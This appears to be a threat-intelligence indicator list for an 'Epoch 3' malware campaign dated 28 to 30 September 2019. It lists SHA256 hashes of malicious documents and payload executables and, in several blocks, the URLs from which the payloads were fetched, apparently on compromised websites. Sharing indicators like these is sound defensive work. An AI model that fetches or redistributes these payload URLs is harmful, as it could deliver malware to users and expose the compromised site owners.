9eac87a89792403e97c6fc3e163f0a14c9d742c8aff16601ff24826e7d2d97ca
4ed2b7c3189c4aa78f0f194b10c3f001db10074d4acfa777fbecc21b2852752c
0633f88937e045e03afe1f702a8df47ad9ef47073e1be1b162cbea569d58c968
c491345437d1a8fb5907d85967d6ceedad79c8787b091e45238eea2ac8031b80
c581d93e58e5867cac29a2778d08663f63446c28d520b76809e4e144b41ebada
81f7d7287acb3ff197ac455e0e8b3ff57dbae2a50db3a648f071346015e70dc4
9eebe07b32fe6726eb88a4694b03dcefa21916730f36ac626c24a0bc312d9b18
7f52eb901827803e8d400a79653662966ff526a5a98f4611a8202f47e2c96ed4
c1cada7e2d10f5e73e29275e9796be75efe170441aa30b6ff5c395c355264de3
f58a8fa686271cdb3863424718952916d4e740b5dc01189c352fcdb34c84daea
050a203d6eab125a598097ff1ae2331c19f919757c0625be34f9afa00d9c6944
0cebac9cf1511f604324b2e99d028ff3dbd62ced61b351d12418b212aadf7983
1bcd12173a900a52de1cab5887e3b1257e94ac54e97b8e61df3dffc41fb00c85
e58f205bab55b046f93364e3826d8967ec26aff6e963d0a77772173c51355b3c
b1c6c5c0f6a757b5c8a0acd26a4633501fcc7a05aa892ebb650e48d4d26b6515
bb3627d5e4e0d209b33c69ab89bd2490ee74ebf6ed1d89373e731756e008f057
8db88bbb5fc6b45bab3f23de5b5adbeb12542ed026ced539582da12d32a39998
036ae5b2671639af8f5ffd4eee88e14edd80cc506d4665f68b4e7ff1cddf5e37
e60a037d17d54e9d609e93599f38b7c163ac7a51d415b12e2e90b6070ce874b3
077a64641d943429a51406629a1521bedf6eba24933e0afa4ffa9574c6690bd9
879939e9772cbd990e3824a5ad0c8fa8af2da1c39b145cab2f512bdc4d009a5c
6e30721e29d7c3761b09631b11f1c1a7aeca2f79189342de71c9fef9aa46651f
5d2c52373ae517e780ab3c8898c9fcc1823d32d2e1012cf43de6c730de340a5b
6cf658349e6288ac4cdf4f315014a2990a746bd10ae2992e3b89b7f54dc401af
e00c6d52b3029ac3f651cba0e8c0e0b7cb1769544ddebbaa57731cef33fb0ca8
491144fdeca0e466180e7f2ac90b0e98fb8b70c25f6304aed4ea5edd47b8e7b5
a2d070f5a33647ac52e52185a917aa505dfafd594f6abc178b48d97b61c5460d
de264046399db948bcf95da42ff9fb7d2b76dce4a5ef8f7b8d80b9711198695e
0035a419694fee7fd0348c3845a878b83b793107f8021d82cb044ec4e60ce2b1
4073cf6bbb62a0e87eb9f4700a5a7f449ddde3842f054b69e3b99c38ac083f2e
27980407750148569105beb1150cc3d184a281537c38313ae477c041f5f9a12f
10fe46db7fa6b80e9d44142b3ccbfb6bf96ffe27174b34f72b3a1c257ba92bc8
078c9695bb793a359cc06b90e115587bfe0e6690c6347f58740f5dbe86e7a1e7
55ce6f662f4e75671c2b5f6e58e7678842f5b771e136b6b919faf7930870babe
b239bec6950fcc5f8420b8cc1231f6f542c74c735939a26c2001ec6d0ce7ec46
f76506519a0c772b8fa9d73a6e7b6dcd4a714ff7c79c4b56b7858658f4092196
ee7d87edb5b517822765de1de9eede929d1f314a0b08a003416dadf3868023c7
0ae18de48dc74be41168046da32850482d7070ae2ac53b67c82c1fa9e2aaf23d
9be547988d95a93bedf4a72c63da2d01f657a3b083d52c6d778014763aa6ad64
4a264b2b48431fe45b019fec13d82fa67e86a0ba27d79b8808e8033db6fdbdc3
fc84c572752cca2927d933cdfe551987e26a4947bedba9483162abeb4d88eedd
2c83fd3d99bf9f5382d7c7c48ef721725999e131ff32e3d6be7e2a319502c6a0
6056c3314db0b7a4f65b78983368a9c745c05df30ceb5cd2ecb0545854fdc4f1
99dd21bebc7f771f1e9c6757f113a603fc52af10bb9002e07a1244672419c1ea
488c46d946be5f58b5291ecd17ec96e9d84a513555a0288d10eab0fa08c294f6
44f25593c2e3b289836643175b6e154fc4e443eece519c27ab515f878b94eeed
4624c655c508e3424a54b54f4c6df70281ff74935efcec3576fa907550a3aa19
a1e76c8e6085b5a53677b71c723646f7b9b6d9b241a5a738fedd1a3eb25efc2d
740b55dc7e04c4f5cdbb7391a3e251984afbef6d97c2527aab689c6a40479afd
4cb60a0917e6ed3665025c7d49d2d3bfdbbe53ad8995d45365602dc4be54a5f1
caeb6f681a0e4ab518153d45fae3d2c21e105770b4cffbbbc3c9a50174a10c57
8cc72ce3c33912b896386ed58215fb00ce1601bb884211d0ca12197afe19fa21
023bc2e030addb77d9dd95fd42c8e684f8d60f0765e355f81299eef633b4da3b
95ab17d481e130ff9521903f57d2db4d7327c69835a75e58c20465424b580881
2d46dc0c79044fcb2bcc046216cc58887b4e4bd2e962deb85640c59f1db78a00
a625042676270d2316ccc900c9cb29d71c3edc4758d146d24806105bfcea6dd5
8bba2d7407e364a21fe88745ddbf831f13c8d22ca4d3bcc288247c23d1f50c8c

09/28/2019
1e8cb1796eb070f52e84ea49a3982ffc6d8e5d585eb85c069d93b1648fb58bbb
5c355f466bf87ef483c08c318f73b9c32984935218338ce57c0091485601fe15
ee96b21a40f83b9630a221a0fe7661ac47f8f372d1e362184813020049cddeca
4cb12616370a05cd8299d2689bd48f9daabb4ba2623fa8df8de348a6fb3ae7a7
8ceee05aa5317af4917feaa7bc1862cd894db7a914127a2b6aab3b119804e25c
4d5b7282c790f3f367b03fcddfe44dd67e5652c6efcec4f0fa31cd6ee8aafbbe
ac82fdf7bec810b5ce1bf72f648b0612b9f8366ac77cc25f66d4c0da4bd447e6
2ee698ab23583c3e8b6e63d38b3243e534d3b190af485c655ac2765da42bc891
1ed85f8f7b974b6e77eea03c1a21933cac15aa1bde85c6f9f4bc666d7786e468
4c842e806e1f5dc49917511a8558be7a23f4cad980086569ec21a8716a1b2e17
61a690063547f965aabe1e95d5d9fdaf29fe65545aeee62ada70327747fcad08
ea346f373909f6a705babf22989e32e831236b34bb469b443493c42363214aaf
e4d81bda0bfe53dba00dc7665dbf24fffe3ff9c57f6f834673b2e34e4ecdfd50
b17410b91c3dc7a5628abd4ea3092fe0b1a6d934e15ef2ecd1528284c452c7c0
c101d4a5ccc94b30846a2f841434b26a726e5d0889376355c78c1c5a30f06b01
2c0a4777957f381dd62741c806080798f9fc1c41f0fd12b9172a8cf5e617e3f3
be0ca9b22863a432384cc118ed0c6387a22256b72be290ddb4c32d5af9debf78
a1b78e1859a561d007f72618892d3421cc18929c63f8202b2a5ae406d3f5c032
10e4a93ffb4dc7d5909d625d1c89f878bc8018a9356c84d41f5c54dc787d1fcc
9fcc74fdaa5eebd95778f5ee8aabd16c915c002032989c27f860bbfd0831483a
d31e73e0a9818179ade9ef2476d6404de61a0fb385109b8d6f2988e970eb8242
ebc6fa8f9b70fb27de0336061d0033e2e369686edb3335102b797907e78766ee
56dd7d4fb6df63c6ca9af6903030ad4cdab63c752c30beebac0a5030454cb395
207751c5e01ea80cdce1f3fc304966c46f548202b3bb6e496956f84e2e473c78
2bbf10f7c6a56a3a3db6ea72cb190a234bd4b3375793eede172b3a6bf1751be2
17579f6c5692d862070a606fd5444a7cc51e2b36c1487eed9edf29b0a7d005e3
f0765335c5c50d13a0503ec84bc58fc3582c1076de4059beb77548f9b3747762
96116b20088eb819a7d33851c0b9fbd8ae8acbb41bd656b12ee975e63d00cd2c
b979cd053bb94be4e59258ab8851f432f1717b3bf7aa620d4cbf8bed76183237
3207e03fd4c872db9fafee8a97a3cb729db87c801da968c50d24eb6621bd6c6d
e371278c3c1badec4383f563c44f7a6f53054da5df7578767dede0aae5a67ca0
2e70aef0a6ab996bc6b10195ed5cdf88265b02655abef2ac1f913e10ef6fed57
b1addda5dba1ade61abe3916bbae96b163c9388da57fcca3a3604a73d9e8f9b5
c1e6d7720501adc19b2dcf155cc11a3cbdca86d1652a20f6cdc464860a4014ab
454f091a3385b5ba0e2d75b0f6c80f2eef10f99af23e8bfee3b9bce070aca14e
eb7d9684bb92716ff8527ad54fbc0976608c881eefa32533d270e186297f9b64
83f9b3e5ad81436186cc4c50159eccdd6a0fddb70621a6c8f1740fe7380377be
2b0636319becfad982de0f7a3af0dee660de1fd24689e38ef39f517a84240c0b
3017058724f6daf38ad2907feb72549deeda095c2a8160848573637269607035
e9763a0dd1a433f5ebd8f1cdd772a0d6f3001143e40fe9cad329be242a783e0f
6f4c64c3989278132d10bc4916ccf3a7921141ee71e7676bd69be68b5b5c6936
e4ab35e33d7ed4bb31d481d25bd6c8b272411e2842cc52e805d854f3088a3cbe
b09f4a1f0b92325cf9500b5957fe62ca3ec7c9583cf3333a5649d3338c3f0cc2
5468fefb53830338c8d3240f44256af18f0efd05f05f262b1f42f4b3eff91697
223bbd6f66e6b04df751211eb180dee13e3bbdac97112dd7357a6a5ee3c4e99d
ee0367f7e4b540c3c992ddc5a35c7da10ef51f78227264d3216b810a12626dcb
c3508b7fb39bfcdc761d8dcfa189b1bcb3ff18fb2dbe7add405b25b4e205d94d
15d5c82eb509f1e5e5981bae512369db75a5c74cb8412fe139482d8cd195db4a
9413a3d70f94039965f83863ca1cf347495bf89b94ef7de91933808e6560e184
15676edce21a4a5efd337b17be8f3cda684b0b5a9177310898dc379acfa991a4
e8e6a00b2b406cda252c60b8e378a305c31c8600ac9880499ac1f41082e7f0e3
b433d1e8389cdcf44d3c8a1c2b44229119fd9977b0f96171fe593d898279da43
b7a9a64c5b566f9add6aeddf1d5524a64792e1ee0749755a1f15a0adfd4ca90b
ed5a1f7df174f92f3db6898fb17f7b287201b21748c9f9179c61f953ac827ead
14a95af0b3584acf5bfffbe1b01a9df371affcc64d40baf9032ca452293bd699
423d584f4313c280bfbf2b055db73f97d63796702f60b022d2810febb7fccb2f
f9abb4c0f88fd910bdcf2e4b89c95f2e6898f5216ee30fab0b6ed5ba455c9b5f
6e1ff4fe9ce36a07763acd78ef8bc35095b72d902ff5eca5b7d92a06df7ef5ca
481207878b3174663d66fa6c026abce97e35886d331976707b1e1afb11195ea3
2c27f93dee93e23bf71487eb020f1ea1f5cdb179f106d42e5ae98e4b66b81873
2d9f74e7456602b67c88cab156407466705ff73bb19b275f1355d37f617f06cc
e5b77e99b0937a28ea6e1bd1b9a00fa86a671e7fa81f95b07d228413634b51cb
729328b55a36d8af91966d7bc23247acc2426055fa8cabeafcb45b26d4bfd204
05bc87e3814d9204704d8435b8a19990236a199fdc9c68f5271856872945386c
726141f779c1c36bbc9420672e3aab36c8d2f4c6cd13a6f160c8db1a8a37b83e
d5d55544d648488dd7e00681a358b634800e80b427b5d2b1e98f0c74f6ffb69d
264fbc39ccad39ec6c05ad873c35b8c2aca0a98a9d2cae68ddc569a1df497e0e
e1c6cbecc64174e5c8dc4a8eeff68d4ba4990ab9d12751d33ba1642a0deec20b
32fa9d86e6d364d4d22dfcd7d831ba28bb3712002d5caddc7d76bcac0b6d1e80
f37787a2a6ee331f0053cbebd26d422da44677dbe14bd0f932882aea8182c374
c29281e25777694adfd19d98ac2ee9aa7d4edaca866eafd7363d962f56b63f5d
cc660cb0f0642328f10f614cb0fb192384eb3f0cd908257064b310a547611c7f
79e81f1a4efa565ac7cde8675632924765c5716bcf83e687211c9b91e21c8b00
e848c7599d463d8fda37311927860ab6dd90a1f41fac6f9fb61c38ea4742259d
61556b4be48260006258ae9af04f9b15dffce1a41153a0b39a10816db7cdb436
a5e8598f492b763f0ccbb30875be3ec612bab206937623f497634b6e5d3fb00b
c007918e47b97c9d56517a19fc8b54cfa8004c0ed0d837e8ba12f17178a52522
81dd39877a11fcef4ef90efbbeaf2e6b69bcc5ef45212c5a891a9a2881483d07
7128ca04933efc03a1ecfcf4288400da1e1d7785a39662fdcbfe40ffbb10ff0e
47cbdff2a9e9be171f069536ceeb86d53dbafd459c24a28d77a06f3d427653bc
ef2076e4217d27f1c11cda329211232d8032d11ecc307465347d8b10598ccf28
386267adb31c7e351d107e9a9f31a208a6697ce5eb5fb4858802e7d006d0656b
bf00fae3d88bf63d573bffaf0ed316619ad492f3962ddb46ecde94ccff9a1802
caf6c81aa53e6ee51e2ad2ba68cdbb150aa8232e1530694c5305f615f0c733ba
a9290a9bb2542b5548607cec91aa91b6536b396d630ac994846ea110b768664a
ab4c08ea8f44544dc9724bb196677561746643eba735a31d2284040077e79080
267092608a7979479e14d5dec9625c37c90cfe80c093f0b90cd4b64f43fd2683
da38d46b37b5ffde58e389cd71f4f7c47977007cb4dba60b4649b35514050aa4
54206a65d656bd8030a62c991b07e276ddd06cec49e377c19c79aa80cd4a49db
b02425eecdf474bb3d3b55af67e86083e3e4487e69cbaa3d7ce052aff026cc8e
aafad94fb64b3b6c071d8166af5992d1830ac6b945b79821d2f6ea976debe825
fa396bfd5b6d3d0c88ae0f523c4d24e932bd57ef63fc4f2d45905fb5827b2893
353edf3dfb47eeee121a04d96588fe70f14f55733cd4bf6404e735426b4c6da5
52469551c2191d6b0eccf4e90e5f27950970ec690b1798842fb0e62029e8f533
6ed3502b90ef61fdb94d55e1ea7415c5ffcf0d33e52829fbaf0ce5e529390378
0551ca8a370228a5f08357c2a6124e493f076139182330c02ed1788f669c4630
8bafc55a54d0b456793ca767cb34647f4eea2580a242c7196030a6b83f518dfa
2a4428d72f256f767ae41d1c4cb46c1413e12259192af662bbd2b19ab53cb053
8019fea6e439de10398dd93b518c9d23d9a2f4547007d7b7e7e5598ea75c6fb7
393733b0c48b95b9d9a633e208abfcbbed71ec0b1b7eb5b2ededa7b8f683933d
640275e8d6b2171ed5a1ebf44381ad68d5ba61c5a9ff15a6affab6edff605fee
55eecda900c3aba7c10b9a976d70ab8e2398ef9147cef8a7183f6e55d13ef358
00ea719ef50d76ff84d30f220a8ee6aa3e2752ef2871a33b4dbbbbf2adf7ecb9
0b4d6373b06cf7163de6a3107896105c80130d8d54aecd5ae832706a8b142006
5a60cddacb07a8a3cb97af808fcbe0fd3a1ea9c54be01801d40995ef6c4d788b
c4815fabe3b4435486186ffa74c15448ae0a51c308597fedaee6318be3a2f5e4
2b1397b6cb281e330f86e55827d2a5d88ee7323589213904a58f5ab34f3761a9
dcc3e1dd50e5a275cd39e6e1e9ef35b000e283998fac2e6b16b59460a9878039
43c909000be3235293737e89b58407c79bc5c59467d885b31693481c0dba45d1
035588dec8b7c75356c383231b415710998bb7b55424faaa49908d91c8260aaa
68dee182068570efc2402fd609d97e245520dcca463a51bbb39a7c7717aab4a7
808a6292211c14e581ecc7f6ee110cc7d37f741339614c84b60d0e5176072bf3
4c0e13dc16d0da96e4d69710f15db65dc63e82aa94e96b0846f8ea8f202d10d9
9015b05d19f0189d70001f1481eb663edf9ca84736260ae07713694a36db6666
01c3606c03bd5f2bb4249618b3a128fbc16f9c24ba045b32e7d4511e401472c1
ed18132d6f806f48a0fae18349595d1361e5a48393a5863cda3e5a45629a268a
0877ff016d50105862d95aedd4de0310d809bd35d225d098fdf1086fc967f60e
a97c36df2ea5677f114a08f686826f49435debd9379afacc485faedcef09c2e3
1a7c76e42c556a2d58427dfd7bf4ec393f0d33d73fa9aaba108f4b85329b6b7b

Epoch 3 Payloads by Document SHA256 - All Times UTC #### (Newest on top)

Creation Time	2019:09:30 14:18:00	(Attachment Only - Doc based - Activation Wizard)
SHA256
1a623bb58bfddad31caf58e07b9f834d06a54a00303def6daaa8a6c15905ebef
ddc5f191403f269df9a02a85226d8c403058dd364491ca26122165209047c805
8b507492112cf0ea58a9f85f7023cb69a18ada2274e349b5df8df182260f6687
287ad69865f1e74eb44e96c12538fe2665166bfbe3ae2220c724b03445618886
03eb8f7d8c92a6de47166e2ec495423ee6f8ae20dd2e985f168d5fc87fdf628c
dfcf69e42a88401c974079c05ddc79e3fb6b8c40d5db2af43c386c11a97021f9
d15cf9b8d1a48b4e74f440d4f4eb85ec2a3cc2f78ea56b706b49cbbb3ea64f4f
87907a10ba90868394e877fd4a7fe6b982191ff18e6dc2f682a58689f6329fb4

http://baliessentialproperties.com/aocb/ylrgg846173/bIeqhzMLW/
http://commecatunisie.com.tn/wp-includes/eo0uwkud0-86snzpi2kd-45/
http://vashdok.com.ua/cgi-bin/74yube-v41y-88/
https://gasgoecuador.com/wp-includes/KPwugLd/
http://blockchainjoblist.com/wp-admin/NzIEQeG/


Creation Time	2019:09:30 12:36:00	(Attachment Only - Doc based - Activation Wizard)
SHA256
300ab03343fd7c8ce5f25f12a100fa762e404fbecdff8f76d50c91fd8b1091c0
f9ff061275a05b5987c16cdd7f8c56b4fc4060f5d3a8cd30c8846f10cb899d3d
cccbc3b7b92f42bf34feeb0bfb820298eb4d21784381a55f7b07c270262c99f2

https://edealsadvisor.com/wp-includes/lYAwQnL/
http://msiservices-tunisia.com/wp-admin/GbFunZqyR/
https://brakahenterprises.com/wp-content/jxv-f7e-79/
http://www.phaetus.com/blog.4dkongjian.com/bkiimh4-25v9pz-95117885/
https://dulieuhay.com/jq5ukxuen/YLfRymj/


Creation Time	2019:09:30 08:31:00	(Attachment Only - Doc based - Activation Wizard)
SHA256
2d396bb4d8ca0445039f107eddfe8f4c274b5e4c9ef65030d4deb23363a1bce5

http://surecleanpressurewashing.com/wp-content/am654a03uz-hc0-05581429/
https://www.whitebellstravels.com/wp-content/cwc62t2-rvdwoly51r-145/
https://beactivedigital.com/wp-content/EEHVRT/
http://leniomontalverne.com/wp-admin/7ww-wh4pe-88754/
http://www.mmmwllmr.com/wp-admin/XBlHQNd/

SHA256s for Epoch 3 Payload EXEs seen on 09/30/19 #### (Newest on top)

1cf1695e2a947537590c0097ce6330a6534abdcde22d9abfdad700a870b3e1f0
f05ae11adbaf28053d4f3d123197f84a73ac155bfd110c586c6578cfae1915f9
d0c219a82b2bf6a2bd732832a98b97bebb9114d76e18601494b36977d01f2933

09/29/2019
61b2e2d951c7380d4c58bf6e9cc9af9678b307a3218d2445446cbf0e212e500e
bc711588eee7de32f39e682bc0ce3dbff7c3bd154a06c1b2d44426bdac14c1a3
0bd3df7c0137774c84d1d722feaa531be2c13fbb0e3efa1a7dc58afa0993b129
62e41eee252267ba6ed997b5e0349f5dd50618321a6025b08be1b53b1d0e939f
6c8a624c743c5a6fa3abccb48033e714405abd56f386438115ab325381f2ec11
656000089e4c40227966c183a8ead8e177c0ee4d59c0f8bf791b4a60d7bc2544
4b45f0ba8ec846fb0bfa4960c1cf4c68b3779513d4e21a482c8125f94e420cb2
98cd0b48a02188e92e5f1ea0c505cdc508e1bdeccdbd889b3bd3954884dd358e
ad73e1cd30a3e058b9b0eccf2f6a04c6d56330b59df66296b9d3388c90e96008
803849c5c7631a8ccc570ae20adf6d305cd40df99713e428a2df21c0963a60f4
c7ee262ef906b1ec986967f8f733b6c400113c22e9110d581bf026190bed40c3
d1edff678a45c7f9a564df85eb05beb591dca9c431f47c3f707f024275b4e9f8
7c73f168115d3b0e31deb9f7aec806cd170ea50150b751a9d9af641e2cfd283f
ef4ec8126d07ffd78b34c350cbb6a806c00545f98df1fff7175d7bb3d716b3d8
7e0443a51c20c78c323eed8077fd8ed38a76cf6eb6b0463c4e0111edf425a40c
7eca9ed72f7886ee263ea2a8c7e497a69e3387a091d162ea8fdbd546684de51a
15899215d8c6e769a805aaa555ae57c69848b2a0809c2b5aedcddbb350a33423
075b530a7f62cedeb24009d87914d91b88151221f26752aa8aca96d3b228bb7f
219969bea00e49d0e947ac292c0c8f405cacf8a100b9459508d435324dfd78d4
3ba12aa44fb23c97dd0f45a4b85fbb93e634c0eb17f4cf9e5ec8cefbd88b9218
fad85e6917332c4b62d18b94cb24e917cb6376b4e3faa1be2ed72ebe64ed19b4
27f43a8212801a392db4c66b75a3d45cb7857ddc0c8650bacd710a9c38d6993a
cf01e2b16ff7d0ca3bc94875b9219ebdd94cacaade1d2c3dd16589e6eaabfc96
22a0e04f0ceb720b2cae7ce8c5df25fcb873da44c74e8c62efdfd21615d4da26
f5de5b72ec3499e95f68c1c9011e0cc6dbe9b18f0f006a81ecc58565b8158f3a
7b66c430efb0cf69e900b7763fbde97eae6e5ce9718a8a3faf4a9fa1e483fddd
1fb509ae58628e51d9a0a330eaea57e15a4d9e95d4493d4dc5b66ed7a9f00dc6
5b375cd7578df838b8b934c1e6884dd2082840f0d295ad3b049c747922b3b546
c8c7df608d10cabec527b2eef2a5c4f45fc6d5f08aaec4a98af76ad0595cf9bd
c6ecafd9133d256f1f149e45ad9cb1c3b9e7b9eeb370a2f4b7d7e7a6132085e1
149798481d4b407654d5b84a58aef7050e1e078e3e03c4d22bebd29ea1bfaa11
2d52076b62f3b5bef3f2cda3213359ca0f46f06f4bc42bf1cc8c0092c5db7c94
74d910c781e91cb199064a846635b68d67696efccffa443b0f1c51fd1ad92eda
da067bccaf2eabe2ab7722da94c46c010f526845a387be4ce4cdd75e46115bfe
077691485cd868f9ca1c04642bc7d4ae06e5429a7076cddc3dfbb50808e6bb22
d89615ac22e6483bbfa7b403216306ac37c2d9d9eee00daa6b0168b0e1846704
d9e7b4d0295d1791e1ad06738647f44746723c590274a3f8c98228b521edda2a
1c7857dd48c6dfb95ecbde07ec54a5e861dc726e32d828ffced9342a30d15438
9cd9f0af99e5ed289cff02ff211e59d7fee79578d473533908508352acab276b
8acdfcfe19488fbc3f35ef8e260865367cdef9b65d0c4ae13a1733ba6f1513f8
4731d09d4356ec7171530bc6db801c1f0a99820570583169c464709e2d05d8bf
e9b1cc0d6b5153d516b5545d80eb7531e9ce00c4bfb270f91d2840f3729adada
0b0a540655d840f3a8cb5e81bac729ebcefb313ae1b778af575fd342cf119cf0
98c4c70fc7689c36e4261cc0fc5269a49df2a19043816776a81c17ddca504e73
684be4586f7cc413dcb349e683e45092f1f4220e8031d330ba1f48e332ab52dc
e4bcb05fcf9f626e181ae2750f053de50b881fff591564eb740a6feb83a60ea4
f246f7a10da4e358c84d3235f01a0c760b4dcc1a6bbe72d3807164000cac440e
e36ed15f7860bb23f0efe4e71c85682a8661963d23b0e24a171fa604341e5216
bd9c0583599a9f9f98f828cc1d9b4c8469540c76c6ce429fee54ebb0d258da6e
47f28f7737c935704425dcb3a331789757c102c28afd7126eb66686af498c51e
7e78fff891de55268a118f9e87e641bcff3c96f43ee5b309315968b822845c6f
a06c5f407c4399113976240c605d62e4721fd12f7c3a449b51cc35b62fdfe192
77d79ae4188866de7130decb3626ab9c178e984432f05e1e5271407d5b6d1dbf
0c8a0e3a94108734bd3e9fd94e4770e55130710acbf05f3441611d05b145c99a
c8e3ca09b85f21bb65f236a44eae20aa01eab8903453ae71ab6953158b29ffbc
752de6f4709bb835bf2c17742d576d0cd0778ec9b77734731332d28e66e9e252
3c11221ea10b2acfca95198656297d168cf144dbd8058b9e5098791a6e7fa308

09/28/2019
99d1f180d50bf152c1838aaefb7e2cfe0a2aff21613435a864e58c4e70988455
395d332066d8511d9521258df14409cb939c8f77383663156459948c7b0feaac
04aa654e94487078106422d6eb9a41f2495a26fd5961ecc586def9f5e8ddf355
5d1789b55521fef27c5fdc023cddcc1485c2aad1782101cd9f9840d343ead3ed
9ce38abb673d068f52659dff18d02fa5040a924a2abb1405dbc0e559bdd7c38a
13628fd797177221b68b2bb450f4f4bb30e6bdd4eda659c105f8dfc5c3d2222e
f8fa4f4a209bbb88d4179259c5d733d900e241a54317c7d87083834e28ef892d
fa8981a6ff0a8081b4ab72285dd78fc2aee6c8fd2e8f886850fb434723193cdc
cffb4dbe13c184e47c0edaa3552daa2f818930c8f028b2ade35086d735e45255
e635328b10c9f5f839519a6c64c36f2213fcb1604ac777078a43683630a18629
86e794032ccf36f2a06f04b12373d27684208c2fcc0bc59790030ea8e5154cc5
b9885836137589f10e8a3618172126da7f9cee6cf14d7663bad281bd91ea4be8
66761df69c0c3e1dd69d6307966f11a80d1452425318dbbabce4a2ed4f0f4749
b2574db27299718cd96be3602550b19a9d09904d205cfb54b5e1e1fe2e88565c
ba38a5d94bd9653c845ae78443daae3e6b00351ee29c7c77efaf2488c5216bd4
be0dfa0ee8357364840832ddd6edcb2f06061c4c555298d89ca72b0b88fa5ffa
60cd165efbd9eb747550a22082e5b84bce99486844c86346442dd3b9d20899e5
a1e9335d4e299ad3ac4464fec6277cf81875899235ba30cc3187a1da0215cc4d
9ef14de6adf7e0caf376c670f51a58fbc4f3117abc4e49510cd383c5ab6c20ef
1b0c0d943f91f80fc3c2b2e57755275a990024000d352053facb2ea931f3ce9b
089d34d961b840457d4b06935629416241305f2b3af568728bc0d924205bc3c3
ba83ca467fd81c3e9bd0c91f9ba27cbff7880eab27d5c370fe8cbaec7cc65e09
52978c24d2a34c7848344ab55f172646ee383f8b820655300799116ef2279440
881f2b8755cde9510093730bd6788110f8d39f98cdd3dec042216b81c525cf2b
4a31700f1b27ca17ae01de624bb7f53c0c1076901d3c4c2c9a96f780e20b6892
1d6aa8bcba0db2b0519ea2ef2f064187f63a2e38a1957adbff8a7b143358a0b0
effad9b65d3056cf778dc2c991552a9e2d1c65050c81352072524f0c1acdb8f5
8ad340d3cae9fb41d091390e631bd4cf177f28681870dd882dc1a2192482edc8
1bf679e62d42cd98c4e5585b2cd0d2405bcfa0889c64bec6cfe8368d2a55d73f
4c9135055f6129741bd8a7cf8086c7451b40fe6a311aba7ca5c4c8dde82dd511
5fa9f2b9aed859a1ad15a2d3ce0365f6c94a4812df8c5b33b189c92d40a7da31
c941572e51094541b8937ef3e5007d597cd99fcc9b630e5b77fffd8bad4b078f
72c388dd429dd8e21b04000e154f2cce960593ce0ff5bf1775d87293826377db
deedd79708885d85563109834fa8c5176341b8d976064536d85dd117babcc4f4
a6f09e38e39599dc8cfa179bba30a923de51bf2ed511d4ce02a7e9eba834ea25
1bfc73845f251fa461c09251b4d094a9fbeeb21773f1fdcff9cefd7638d0a9b6
0dcf12f32432591e2f23370b7529448dd79490e45d4df73c1bf0db483ccc8006
f5a6d5856debd3730eb8d9c7b0990faed48b643a5cca24fb63a1de966e5cdd1c
e588132c9717447e759000dccf8545cd81deb02d8fa7990c1b1d7b7dce2c8551
ea51a752aa9f06aaaaff90f8697bc5401b1e637fb24697533efe390174c21fcd
ab2d53160f19558b4fa484209fbbf59cf62aa5c785c1aea413feed2c178c5bc3
235f104678266b8bd1bab8d673b153a7bcac21744399513139d5cad33846b67f
e3ce28470780154fc5124c7ef3ec30826a4059cd03d55ceb4e32bf38a3276353
c0de66a8284d3da23c54a972bcf06d3d7582cc576768ec528131f1eb067505db
961c90611f9fe4759aa67560fe9e608918618bb0db4f571bf56fb971f371f0a0
86cb7516a92f9aeb9c848cfaade41f8abea39e01786d3748b98f56b399424067
10947f27d7fc0faf7f3fd9bd82315ce1990acea7df1357d259cdc7481936e42e
519d4a03360b1cf2e0ad09fd710aa31938d97326b756e67c43634a5201a6b6f0
0dce2d2d5cc2c57ada3dbd1baa50e6c758229ddb2d2068b23fa7c3daea4825e5
9da8beaee5290ff26dd1d97981b34145d7bd19d48b19f01cf7118b22466d047e
d400f5b59dc6757d23392b6ffd6137fff5e943b922c5158a658ff8f12ec408b5
8b23157a931b06916983d889ab22c79ee8d31d74bfd5cff45ac305da39004fda
97fed6da3f7ec5f6a727d4018c135e3e2d1ca6e6da763e59e1d597c77600bd2f
fe2cce29a9d5480797b58a2ef45782c50a9f4b2b82214a8139d17a174014474c
51225d31523cc7e2c4db7eadd3b1ec30b7875f0dc36e39d5770f1f04c5d88d19
6bdec492c25026407a70df72f0c2c3b71c8a6cd83b78681aed4066bab6f02cdd
ae63d7c923b9a96a1ce0b2c62567e4f7dcafb9567cad6723a91407367b8aefe2
da529b407a7a5a4114975d384132f52491b6eba954257aa51287a8904f6a1939
fd820f176fb76a7a9f8ef2344174f046c787458679f2c14bf0794fa7c9bf8809
87e6627cc2d370e7ee0dd49684550f1e39de9e973c220d50b0504a47d71a0f0a
c7f462aa00d8da50e7a306c6b2986aa124283bea06e2f006d015d5841574a9d8
39623e8afb5f765b53f2f006f066117101dd3ff21fd0adf16affe069c1ca2a5d
4fcb52454cb47b8b5d6aa91425fb87e40abd242ba0de537b3f77173ec7d55e8f
3340a71b3a4c9b71cf8c152572adf4943a612505631056756dec60f06a8574d5
b1a811339faecaafc76645d56a296c21881fe30817859baaae95f91ac831906e
4339ccd403377efe005281289ba761a7736413f12698ce55572ac4d734b684e1
ff9672d2b1ce0f6878b90f2b7d40e3aa90d05580d4e6f1ac56540b631863bf46
73250cb2c6969b0c3952cacc943a915776bf6750dc31e141c9ae917de1d0d75c
8352dd904123d9e37f15bfec606bd4dba47f00da2dc5c3b1d526f6c95f14d914
d06ff2869abeb7830583abb7283b395db26a7ff93c788ef4dfe9643dbf18da32
21756b8c3e2f0f8de8516bd923e92346f332e7ad3fdf88d0d64fc6a132b0d954
291b5f9d06bfb166533a409257f041c339b796e1c9cf534b72a8d2fe3d522362
b8050d92464d68f2df142d5e325ab7ce99b15eef73324f85c34d13cc7d467a47
fd5cd6904fdf704b40457da4ae9af149dc3a5594393af3825165475342ca23e2
2fd89c4a04f99e23ecf743547634539ef72291af8b93b453f3e25f588888af06
80abf84766e11751a2b9b8a2a67c3292c7631e24964e3c011d05b84e74408b6d
daee5d5a0618a416aea7f3159d2f2d1a3896c80820e36a916e986423aea264a3
b0e364da6d5ab11bc12c36dedee8da15c0678fb8133ada167ac989ee16c4053c
aefe03f1bbff0d8b8f1560275a57f8dfdb40ca2eb8ec232e82352327ccdb6ab0
f93e8f8cbe349aef647f0f34aa442fa784b3b4759f786502878d9beb42f8d1fc
0c827bfb3ac4f7f9d18589964b75ad7aacf1dd6b949f96c64e8ae1bc3cc4ccc7
6bdae5827bc3b4d43758e9a308a85acb977d5073fcec9067272e06b26f6bfade
8285ebbc7961eda6c6e9e7510347b0f91179ddc6055fc16b4f5764acecb06744
8d70a09ce82481e0713239824377ffcae2e95204c600de40874e9c9e16c4d22a
8d21597a58cf994120a7ce116ba719244168a52c48f54c725f8cdefeec3b0034
f748a0dd3954bdf49a1cccb38d122f64a93c71dfd7c49021be641024079dee4c
